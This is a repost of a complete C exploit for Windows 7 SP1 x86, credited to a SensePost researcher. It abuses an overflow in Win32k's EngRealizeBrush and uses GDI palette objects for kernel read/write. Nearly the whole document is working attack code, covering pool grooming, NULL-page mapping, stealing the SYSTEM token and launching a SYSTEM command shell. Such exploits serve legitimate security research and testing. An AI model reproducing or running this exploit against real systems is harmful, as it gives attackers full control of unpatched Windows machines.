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Microsoft Windows 7 SP1 x86 - GDI Palette Objects Local Privilege Escalation (MS
来源:https://github.com/sensepost 作者:Saif 发布时间:2017-08-09  
# E-DB Note:
# + Source: https://github.com/sensepost/gdi-palettes-exp
# + Binary: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42432.exe
 
#include <Windows.h>
#include <stdio.h>
#include <winddi.h>
#include <Psapi.h>
 
//From http://stackoverflow.com/a/26414236 this defines the details of the NtAllocateVirtualMemory function
//which we will use to map the NULL page in user space.
typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    ULONG ZeroBits,
    PULONG AllocationSize,
    ULONG AllocationType,
    ULONG Protect
    );
 
static HBITMAP bitmaps[2000];
static HPALETTE hp[2000];
HANDLE hpWorker, hpManager, hManager;
BYTE *bits;
 
 
// https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives
//dt nt!_EPROCESS UniqueProcessID ActiveProcessLinks Token
typedef struct
{
    DWORD UniqueProcessIdOffset;
    DWORD TokenOffset;
} VersionSpecificConfig;
 
//VersionSpecificConfig gConfig = { 0x0b4 , 0x0f8  }; //win 7 SP 1
VersionSpecificConfig gConfig = { 0x0b4 , 0x0f8 };
void SetAddress(UINT* address) {
    SetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, (PALETTEENTRY*)address);
}
 
void WriteToAddress(UINT* data, DWORD len) {
    SetPaletteEntries((HPALETTE)hpWorker, 0, len, (PALETTEENTRY*)data);
}
 
UINT ReadFromAddress(UINT src, UINT* dst, DWORD len) {
    SetAddress((UINT *)&src);
    DWORD res = GetPaletteEntries((HPALETTE)hpWorker, 0, len, (LPPALETTEENTRY)dst);
    return res;
}
 
// Get base of ntoskrnl.exe
UINT GetNTOsBase()
{
    UINT Bases[0x1000];
    DWORD needed = 0;
    UINT krnlbase = 0;
    if (EnumDeviceDrivers((LPVOID *)&Bases, sizeof(Bases), &needed)) {
        krnlbase = Bases[0];
    }
    return krnlbase;
}
 
// Get EPROCESS for System process
UINT PsInitialSystemProcess()
{
    // load ntoskrnl.exe
 
    UINT ntos = (UINT)LoadLibrary("ntkrnlpa.exe");
    // get address of exported PsInitialSystemProcess variable
    UINT addr = (UINT)GetProcAddress((HMODULE)ntos, "PsInitialSystemProcess");
    FreeLibrary((HMODULE)ntos);
    UINT res = 0;
    UINT ntOsBase = GetNTOsBase();
    // subtract addr from ntos to get PsInitialSystemProcess offset from base
    if (ntOsBase) {
        ReadFromAddress(addr - ntos + ntOsBase, (UINT *)&res, sizeof(UINT) / sizeof(PALETTEENTRY));//0x169114
    }
    return res;
}
 
// Get EPROCESS for current process
UINT PsGetCurrentProcess()
{
    UINT pEPROCESS = PsInitialSystemProcess();// get System EPROCESS
 
                                              // walk ActiveProcessLinks until we find our Pid
    LIST_ENTRY ActiveProcessLinks;
    ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(UINT), (UINT *)&ActiveProcessLinks, sizeof(LIST_ENTRY) / sizeof(PALETTEENTRY));
 
    UINT res = 0;
 
    while (TRUE) {
        UINT UniqueProcessId = 0;
 
        // adjust EPROCESS pointer for next entry
        pEPROCESS = (UINT)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(UINT);
        // get pid
        ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset, (UINT *)&UniqueProcessId, sizeof(UINT) / sizeof(PALETTEENTRY));
        // is this our pid?
        if (GetCurrentProcessId() == UniqueProcessId) {
            res = pEPROCESS;
            break;
        }
        // get next entry
        ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(UINT), (UINT *)&ActiveProcessLinks, sizeof(LIST_ENTRY) / sizeof(PALETTEENTRY));
        // if next same as last, we reached the end
        if (pEPROCESS == (UINT)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(UINT))
            break;
    }
    return res;
}
 
 
void fengshui() {
    HBITMAP bmp;
    // we need 2 object 0x7F4
    for (int y = 0; y < 2000; y++) {
        //0x3A3 = 0xFe8
        bmp = CreateBitmap(0x3A3, 1, 1, 32, NULL);
        bitmaps[y] = bmp;
    }
 
    //Spray LpszMenuName User object in GDI pool. Ustx
    // size 0x10+8
    TCHAR st[0x32];
    for (int s = 0; s < 2000; s++) {
        WNDCLASSEX Class2 = { 0 };
        wsprintf(st, "Class%d", s);
        Class2.lpfnWndProc = DefWindowProc;
        Class2.lpszClassName = st;
        Class2.lpszMenuName = "Saif";
        Class2.cbSize = sizeof(WNDCLASSEX);
        if (!RegisterClassEx(&Class2)) {
            printf("bad %d %d\r\n", s, GetLastError());
            break;
        }
    }
 
    for (int s = 0; s < 2000; s++) {
        DeleteObject(bitmaps[s]);
    }
 
 
    for (int k = 0; k < 2000; k++) {
        //0x1A6 = 0x7f0+8
        bmp = CreateBitmap(0x1A6, 1, 1, 32, NULL);
        bitmaps[k] = bmp;
    }
 
 
    HPALETTE hps;
    LOGPALETTE *lPalette;
    //0x1E3  = 0x7e8+8
    lPalette = (LOGPALETTE*)malloc(sizeof(LOGPALETTE) + (0x1E3 - 1) * sizeof(PALETTEENTRY));
    lPalette->palNumEntries = 0x1E3;
    lPalette->palVersion = 0x0300;
    // for allocations bigger than 0x98 its Gh08 for less its always 0x98 and the tag is Gla18
    for (int k = 0; k < 2000; k++) {
        hps = CreatePalette(lPalette);
        if (!hps) {
            printf("%s - %d - %d\r\n", "CreatePalette - Failed", GetLastError(), k);
            //return;
        }
        hp[k] = hps;
    }
 
    TCHAR fst[0x32];
    for (int f = 500; f < 750; f++) {
        wsprintf(fst, "Class%d", f);
        UnregisterClass(fst, NULL);
    }
 
}
 
UINT GetAddress(BYTE *buf, UINT offset) {
    BYTE bytes[4];
    for (int i = 0; i < 4; i++) {
        bytes[i] = buf[offset + i];
    }
    UINT addr = *(UINT *)bytes;
    return addr;
}
 
int main(int argc, char *argv[]) {
    HWND hwnd;
    WNDCLASSEX Class = { 0 };
    Class.lpfnWndProc = DefWindowProc;
    Class.lpszClassName = "Class";
    Class.cbSize = sizeof(WNDCLASSEX);
 
    printf("    __  ________________      ____ ________\r\n");
    printf("   /  |/  / ___<  /__  /     / __ <  /__  /\r\n");
    printf("  / /|_/ /\__ \/ /  / /_____/ / / / /  / / \r\n");
    printf(" / /  / /___/ / /  / /_____/ /_/ / /  / /  \r\n");
    printf("/_/  /_//____/_/  /_/      \____/_/  /_/   \r\n");
    printf("\r\n");
    printf("      [*] By Saif (at) SensePost \r\n");
    printf("      Twitter: Saif_Sherei\r\n");
    printf("\r\n");
    printf("\r\n");
 
    if (!RegisterClassEx(&Class)) {
        printf("%s\r\n", "RegisterClass - Failed");
        return 1;
    }
    hwnd = CreateWindowEx(NULL, "Class", "Test1", WS_VISIBLE, 0x5a1f, 0x5a1f, 0x5a1f, 0x5a1f, NULL, NULL, 0, NULL);
    HDC hdc = GetDC(hwnd);
 
    //0x10 is the magic number
    printf("[*] Creating Pattern Brush Bitmap.\r\n");
    HBITMAP bitmap = CreateBitmap(0x23, 0x1d41d41, 1, 1, NULL);
    //HBITMAP bitmap = CreateBitmap(0x5aa, 0x11f, 1, 1, NULL);
    if (!bitmap) {
        printf("%s - %d\r\n", "CreateBitmap Failed.\r\n", GetLastError());
        return 1;
    }
 
    //https://github.com/sam-b/HackSysDriverExploits/blob/master/HackSysNullPointerExploit/HackSysNullPointerExploit/HackSysNullPointerExploit.cpp
    HMODULE hNtdll = GetModuleHandle("ntdll.dll");
    //Get address of NtAllocateVirtualMemory from the dynamically linked library and then cast it to a callable function type
    FARPROC tmp = GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
    PNtAllocateVirtualMemory NtAllocateVirtualMemory = (PNtAllocateVirtualMemory)tmp;
    //We can't outright pass NULL as the address but if we pass 1 then it gets rounded down to 0...
    //PVOID baseAddress = (PVOID)0x1;
    PVOID baseAddress = (PVOID)0x1;
    SIZE_T regionSize = 0xFF; //Probably enough, it will get rounded up to the next page size
                              // Map the null page
    NTSTATUS ntStatus = NtAllocateVirtualMemory(
        GetCurrentProcess(), //Current process handle
        &baseAddress, //address we want our memory to start at, will get rounded down to the nearest page boundary
        0, //The number of high-order address bits that must be zero in the base address of the section view. Not a clue here
        &regionSize, //Required size - will be modified to actual size allocated, is rounded up to the next page boundary
        MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, //claim memory straight away, get highest appropriate address
        PAGE_EXECUTE_READWRITE //All permissions
    );
 
    if (ntStatus != 0) {
        printf("Virtual Memory Allocation Failed: 0x%x\n", ntStatus);
        FreeLibrary(hNtdll);
        return 1;
    }
 
    PVOID nullPointer = (PVOID)((UINT)0x4);
    *(PUINT)nullPointer = (UINT)1;
 
    //
    printf("[*] Creating Pattern Brush.\r\n");
    HBRUSH hbrBkgnd = CreatePatternBrush(bitmap);
 
    SelectObject(hdc, hbrBkgnd);
    fengshui();
    printf("[*] Triggering Overflow in Win32k!EngRealizeBrush.\r\n");
    //__debugbreak();
    PatBlt(hdc, 0x100, 0x10, 0x100, 0x100, PATCOPY);
    HRESULT res;
    bits = (BYTE*)malloc(0x6F8);
    for (int i = 0; i < 2000; i++) {
        res = GetBitmapBits(bitmaps[i], 0x6F8, bits);
        if (res > 0x6F8 - 1) {
            
            hManager = bitmaps[i];
            printf("[*] Manager Bitmap: %d\r\n", i);
            break;
        }
    }
    //__debugbreak();
 
    //Get pFirstColor of adjacent Gh?8 XEPALOBJ Palette object
    UINT pFirstColor = GetAddress(bits, 0x6F8 - 8);
    printf("[*] Original Current Manager XEPALOBJ->pFirstColor: 0x%x\r\n", pFirstColor);
 
    UINT cEntries = GetAddress(bits, 0x6F8 - 8 - 0x38);
    printf("[*] Original Manager XEPALOBJ->cEntries: 0x%x\r\n", cEntries);
 
    //BYTE *bytes = (BYTE*)&cEntries;
    for (int y = 0; y < 4; y++) {
        bits[0x6F8 - 8 - 0x38 + y] = 0xFF;
    }
    //__debugbreak();
    SetBitmapBits((HBITMAP)hManager, 0x6F8, bits);
    //__debugbreak();
 
    res = GetBitmapBits((HBITMAP)hManager, 0x6F8, bits);
    UINT uEntries = GetAddress(bits, 0x6F8 - 8 - 0x38);
    printf("[*] Updated Manager XEPALOBJ->cEntries: 0x%x\r\n", uEntries);
 
    UINT *rPalette;
    rPalette = (UINT*)malloc((0x400 - 1) * sizeof(PALETTEENTRY));
    memset(rPalette, 0x0, (0x400 - 1) * sizeof(PALETTEENTRY));
    for (int k = 0; k < 2000; k++) {
        UINT res = GetPaletteEntries(hp[k], 0, 0x400, (LPPALETTEENTRY)rPalette);
        if (res > 0x3BB) {
            printf("[*] Manager XEPALOBJ Object Handle: 0x%x\r\n", hp[k]);
            hpManager = hp[k];
            break;
        }
    }
    //__debugbreak();
    //for (int y = 0x3F0; y < 0x400; y++) {
    //  printf("%04x ", rPalette[y]);
    //}
    //printf("\r\n");
 
    UINT wAddress = rPalette[0x3FE];
    printf("[*] Worker XEPALOBJ->pFirstColor: 0x%04x.\r\n", wAddress);
 
    UINT tHeader = pFirstColor - 0x1000;
    tHeader = tHeader & 0xFFFFF000;
    printf("[*] Gh05 Address: 0x%04x.\r\n", tHeader);
    //__debugbreak();
    SetAddress(&tHeader);
    
    //SetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, (PALETTEENTRY*)&tHeader);
 
    UINT upAddress;
    GetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, (LPPALETTEENTRY)&upAddress);
    printf("[*] Updated Worker XEPALOBJ->pFirstColor: 0x%04x.\r\n", upAddress);
 
    UINT wBuffer[2];
    for (int x = 0; x < 2000; x++) {
        GetPaletteEntries((HPALETTE)hp[x], 0, 2, (LPPALETTEENTRY)wBuffer);
        //Debug
        //if (wBuffer != 0xcdcdcdcd) {
        // Release
        //if (wBuffer[1] == 0x35316847) {
        if (wBuffer[1] >> 24 == 0x35) {
            hpWorker = hp[x];
            printf("[*] Worker XEPALOBJ object Handle: 0x%x\r\n", hpWorker);
            printf("[*] wBuffer: %x\r\n", wBuffer[1]);
            break;
        }
    }
    
    UINT gHeader[8];
    //gHeader = (UINT*)malloc((0x4 - 1) * sizeof(PALETTEENTRY));
    //GetPaletteEntries((HPALETTE)hpWorker, 0, 4, (LPPALETTEENTRY)gHeader);
    ReadFromAddress(tHeader, gHeader, 8);
    //__debugbreak();
    UINT oHeader = pFirstColor & 0xFFFFF000;
    printf("[*] Overflowed Gh05 Address: 0x%04x.\r\n", oHeader);
    UINT oValue = oHeader + 0x1C;
    //SetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, (PALETTEENTRY*)&oValue);
    UINT value;
    //GetPaletteEntries((HPALETTE)hpWorker, 0, 1, (LPPALETTEENTRY)&value);
    //printf("[*] Value: 0x%04x.\r\n", value);
    ReadFromAddress(oValue, &value, 1);
 
    //printf("[*] Gh05 Object Header:\r\n");
    //printf("    %04x %04x %04x %04x\r\n", gHeader[0], gHeader[1], gHeader[2], gHeader[3]);
    //printf("    %04x %04x %04x %04x\r\n", gHeader[4], gHeader[5], gHeader[6], gHeader[7]);
    //SetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, (PALETTEENTRY*)&oHeader);
    gHeader[2] = value;
    gHeader[3] = 0;
    gHeader[7] = value;
    //SetPaletteEntries((HPALETTE)hpWorker, 0, 4, (PALETTEENTRY*)gHeader);
    UINT oHeaderdata[8];
    
    ReadFromAddress(oHeader, oHeaderdata, 8);
    printf("[*] Gh05 Overflowed Object Header:\r\n");
    printf("    %04x %04x %04x %04x\r\n", oHeaderdata[0], oHeaderdata[1], oHeaderdata[2], oHeaderdata[3]);
    printf("    %04x %04x %04x %04x\r\n", oHeaderdata[4], oHeaderdata[5], oHeaderdata[6], oHeaderdata[7]);
 
    printf("[*] Gh05 Fixed Object Header:\r\n");
    printf("    %04x %04x %04x %04x\r\n", gHeader[0], gHeader[1], gHeader[2], gHeader[3]);
    printf("    %04x %04x %04x %04x\r\n", gHeader[4], gHeader[5], gHeader[6], gHeader[7]);
    
    SetAddress(&oHeader);
    //__debugbreak();
    WriteToAddress(gHeader, 8);
    printf("[*] Fixed Overflowed Gh05 Object Header.\r\n");
    //UINT uHeader[8];
    //ReadFromAddress(oHeader, uHeader, 8);
    //printf("[*] Gh05 Overflowed Fixed Object Header:\r\n");
    //printf("    %04x %04x %04x %04x\r\n", uHeader[0], uHeader[1], uHeader[2], uHeader[3]);
    //printf("    %04x %04x %04x %04x\r\n", uHeader[4], uHeader[5], uHeader[6], uHeader[7]);
 
    // get System EPROCESS
    UINT SystemEPROCESS = PsInitialSystemProcess();
    //__debugbreak();
    //fprintf(stdout, "\r\n%x\r\n", SystemEPROCESS);
    UINT CurrentEPROCESS = PsGetCurrentProcess();
    //__debugbreak();
    //fprintf(stdout, "\r\n%x\r\n", CurrentEPROCESS);
    UINT SystemToken = 0;
    // read token from system process
    ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, &SystemToken, 1);
    fprintf(stdout, "[*] Got System Token: %x\r\n", SystemToken);
    // write token to current process
    UINT CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset;
    SetAddress(&CurProccessAddr);
 
    WriteToAddress(&SystemToken, 1);
    //__debugbreak();
    printf("[*] Dropping in SYSTEM shell...\r\n\r\n");
    // Done and done. We're System :)
    system("cmd.exe");
 
 
    //getchar();
    for (int f = 0; f < 2000; f++) {
        DeleteObject(bitmaps[f]);
    }
    for (int f = 0; f < 2000; f++) {
        DeleteObject(hp[f]);
    }
    TCHAR fst[0x32];
    for (int f = 0; f < 500; f++) {
        wsprintf(fst, "Class%d", f);
        UnregisterClass(fst, NULL);
    }
 
    for (int f = 751; f < 2000; f++) {
        wsprintf(fst, "Class%d", f);
        UnregisterClass(fst, NULL);
    }
 
    ReleaseDC(hwnd, hdc);
    DeleteDC(hdc);
    DeleteObject(hbrBkgnd);
    DeleteObject(bitmap);
    FreeLibrary(hNtdll);
    //free(bitmaps);
    //VirtualFree(&baseAddress, regionSize, MEM_RELEASE);
    //DestroyWindow(hwnd);
    return 0;
}
 
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